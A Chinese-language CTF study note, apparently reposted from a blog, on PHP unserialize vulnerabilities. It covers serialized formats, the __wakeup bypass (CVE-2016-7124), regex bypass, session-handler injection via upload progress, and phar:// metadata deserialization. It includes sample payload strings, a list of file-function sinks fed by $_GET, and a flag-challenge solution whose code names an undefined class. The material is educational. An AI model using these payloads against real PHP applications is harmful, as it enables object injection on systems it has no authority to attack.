CTF PHP反序列化
<h1 id="序列化">序列化</h1><blockquote>
<p>所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。 --php官方文档</p>
</blockquote>
<h1 id="魔术方法">魔术方法</h1>
<p>php官方文档中关于魔术方法的部分</p>
<h2 id="构造函数和析构函数">构造函数和析构函数</h2>
<ul>
<li>__construct()<br>
具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初始化工作。</li>
<li>__destruct()<br>
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。</li>
</ul>
<p><code>new</code>出一个新的对象时就会调用__construct(),而对象被销毁时，例如程序退出时，就会调用__destruct()</p>
<h2 id="__sleep和__wakeup"><code>__sleep()</code>和<code>__wakeup()</code></h2>
<p><img src="https://img2018.cnblogs.com/blog/1270588/201908/1270588-20190824032542441-1837350348.png" alt="" loading="lazy"></p>
<h2 id="__tostring"><code>__toString()</code></h2>
<p><img src="https://img2018.cnblogs.com/blog/1270588/201908/1270588-20190824032551899-928220919.png" alt="" loading="lazy"><br>
<code>echo</code>或者拼接字符串或者其他隐式调用该方法的操作都会触发</p>
<h2 id="__set-__get-__isset-__unset"><code>__set()</code>, <code>__get()</code>, <code>__isset()</code>, <code>__unset()</code></h2>
<p><img src="https://img2018.cnblogs.com/blog/1270588/201908/1270588-20190824032610474-94470061.png" alt="" loading="lazy"></p>
<h2 id="__invoke-__call"><code>__invoke()</code>, <code>__call()</code></h2>
<p>当尝试以调用函数的方式调用一个对象时，<code>__invoke()</code> 方法会被自动调用。<br>
在对象中调用一个不可访问方法时，<code>__call()</code> 会被调用。</p>
<h2 id="其他">其他</h2>
<p>__callStatic(), __set_state(), __clone(), __debugInfo()等和序列化没有多大关系，详情参考官网</p>
<h1 id="序列化细节">序列化细节</h1>
<h2 id="序列的含义">序列的含义</h2>
<p>例如：<code>O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}</code><br>
O代表对象；4代表对象名长度；2代表2个成员变量；其余参照如下</p>
<table>
<thead>
<tr>
<th style="text-align: center">类型</th>
<th style="text-align: center">结构</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">String</td>
<td style="text-align: center">s:size:value;</td>
</tr>
<tr>
<td style="text-align: center">Integer</td>
<td style="text-align: center">i:value;</td>
</tr>
<tr>
<td style="text-align: center">Boolean</td>
<td style="text-align: center">b:value;(保存1或0)</td>
</tr>
<tr>
<td style="text-align: center">Null</td>
<td style="text-align: center">N;</td>
</tr>
<tr>
<td style="text-align: center">Array</td>
<td style="text-align: center">a:size:</td>
</tr>
<tr>
<td style="text-align: center">Object</td>
<td style="text-align: center">O:strlen(object name):object name:object size:</td>
</tr>
</tbody>
</table>
<h2 id="publicprotectedprivate下序列化对象的区别">public、protected、private下序列化对象的区别</h2>
<p>php v7.x反序列化的时候对访问类别不敏感</p>
<ul>
<li>public变量<br>
直接变量名反序列化出来</li>
<li>protected变量<br>
<code>\x00 + * + \x00 + 变量名</code><br>
可以用<code>S:5:"\00*\00op"</code>来代替<code>s:5:"?*?op"</code></li>
<li>private变量<br>
<code>\x00 + 类名 + \x00 + 变量名</code></li>
</ul>
<h2 id="反序列化中s和s的区别">反序列化中s和S的区别</h2>
<p>如果类型是<code>S</code>，会调用以下函数，简单来说就是将<code>\</code>解释成十六进制，来转成字符</p>
<pre><code>static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
size_t i, j;
zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
unsigned char *end = *(unsigned char **)p+maxlen;
if (end < *p) {
zend_string_efree(str);
return NULL;
}
for (i = 0; i < len; i++) {
if (*p >= end) {
zend_string_efree(str);
return NULL;
}
if (**p != '\\') {
ZSTR_VAL(str) = (char)**p;
} else {
unsigned char ch = 0;
for (j = 0; j < 2; j++) {
(*p)++;
if (**p >= '0' && **p <= '9') {
ch = (ch << 4) + (**p -'0');
} else if (**p >= 'a' && **p <= 'f') {
ch = (ch << 4) + (**p -'a'+10);
} else if (**p >= 'A' && **p <= 'F') {
ch = (ch << 4) + (**p -'A'+10);
} else {
zend_string_efree(str);
return NULL;
}
}
ZSTR_VAL(str) = (char)ch;
}
(*p)++;
}
ZSTR_VAL(str) = 0;
ZSTR_LEN(str) = i;
return str;
}
</code></pre>
<h1 id="反序列化的利用">反序列化的利用</h1>
<ul>
<li>
<p>__wakeup失效<br>
php版本<code>< 5.6.25 | < 7.0.10</code><br>
当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行<br>
例：</p>
<pre><code>O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
</code></pre>
<p>__wakeup()函数失效引发漏洞(CVE-2016-7124)</p>
</li>
<li>
<p>使用<code>+</code>绕过正则<br>
例：</p>
<pre><code>preg_match('/:\d+:/i', $var)
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
</code></pre>
<p>代码审计Day11 - unserialize反序列化漏洞</p>
</li>
</ul>
<h1 id="session序列化问题">Session序列化问题</h1>
<p>https://bugs.php.net/bug.php?id=71101</p>
<p>PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化，常用的有以下三种，对应三种不同的处理格式：</p>
<table>
<thead>
<tr>
<th style="text-align: center">处理器</th>
<th style="text-align: center">对应的存储格式</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">php</td>
<td style="text-align: center">键名 + 竖线 + 经过serialize()函数反序列化处理的值</td>
</tr>
<tr>
<td style="text-align: center">php_binary</td>
<td style="text-align: center">键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值</td>
</tr>
<tr>
<td style="text-align: center">php_serialize(php>=5.5.4)</td>
<td style="text-align: center">经过serialize()函数反序列处理的数组</td>
</tr>
</tbody>
</table>
<p>配置选项 session.serialize_handler，通过该选项可以设置序列化及反序列化时使用的处理器，<br>
<code>ini_set('session.serialize_handler', 'php_binary')</code><br>
默认为php。</p>
<p>如果PHP在反序列化存储的$_SEESION数据时的使用的处理器和序列化时使用的处理器不同，会导致数据无法正确反序列化，通过特殊的伪造，甚至可以伪造任意数据。</p>
<p>当存储是php_serialize处理，然后调用时php去处理，如果这时注入的数据时<code>a=|O:4:"test":0:{}</code>，那么session中的内容是<code>a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}</code>，那么<code>a:1:{s:1:"a";s:16:"</code>会被php解析成键名，后面就是一个test对象的注入</p>
<p>当配置选项<code>session.auto_start=Off</code>，两个脚本注册session绘画是使用的序列化处理器不同，就会出现安全问题</p>
<pre><code><form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
<input type="file" name="file" />
<input type="submit" />
</form>
</code></pre>
<p>The key of stored in the session will look like this:</p>
<pre><code>$_SESSION["upload_progress_ryat"]
</code></pre>
<p><code>ryat</code>的部分可以注入自己的代码，如<code>ryat|序列化字符串</code></p>
<h1 id="phar反序列化">Phar反序列化</h1>
<p>https://blog.ripstech.com/2018/new-php-exploitation-technique/<br>
PHAR反序列化拓展操作总结 <br>
SUCTF 2019 出题笔记 & phar 反序列化的一些拓展<br>
利用 phar 拓展 php 反序列化漏洞攻击面<br>
创建一个Phar文件</p>
<pre><code>// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
</code></pre>
<p>如果现在通过phar://包装器对我们现有的Phar文件执行文件操作，则其序列化元数据将被反序列化。这意味着我们在元数据中注入的对象被加载到应用程序的范围中。如果此应用程序具有已命名的类AnyClass并且具有魔术方法__destruct()或已__wakeup()定义，则会自动调用这些方法。这意味着我们可以在代码库中触发任何析构函数或唤醒方法。更糟糕的是，如果这些方法对我们注入的数据进行操作，那么这可能会导致进一步的漏洞。</p>
<pre><code>//通过Phar文件进行PHP对象注入
class AnyClass {
function __destruct() {
echo $this->data;
}
}
// output: rips
include('phar://test.phar');
</code></pre>
<p><code>phar://</code>在任何文件操作中都会为包装器触发unserialize，可利用函数包括</p>
<pre><code>ìnclude($_GET['file']);
fopen($_GET['file']);
file_get_contents($_GET['file']);
file($_GET['file']);
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
</code></pre>
<p><img src="https://img2018.cnblogs.com/blog/1270588/201909/1270588-20190905164405364-1848471119.png" alt="" loading="lazy"></p>
<p>当对上传文件内容有过滤时，可以用<code>gzip</code>压缩来消除敏感字符</p>
<p>例题： Baby^H-master-php-2017 复现<br>
PS:匿名函数的真正名字为:%00lambda_%d(%d格式化为当前进程的第n个匿名函数)</p>
<h1 id="tricks">Tricks</h1>
<h2 id="指针">指针</h2>
<pre><code>class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
} else {
echo "no";
}
}
}
</code></pre>
<p>解法</p>
<pre><code>class Flag{
public $f;
public $t1;
public $t2;
function __construct(){
$this->t2 = md5(rand(1,10000));
$this->t1 = &$this->t2;
$this->f = 'flag.php';
}
}
$seri = new Seri();
echo serialize($seri);
</code></pre><br><br>
来源：https://www.cnblogs.com/20175211lyz/p/11403397.html
頁:
[1]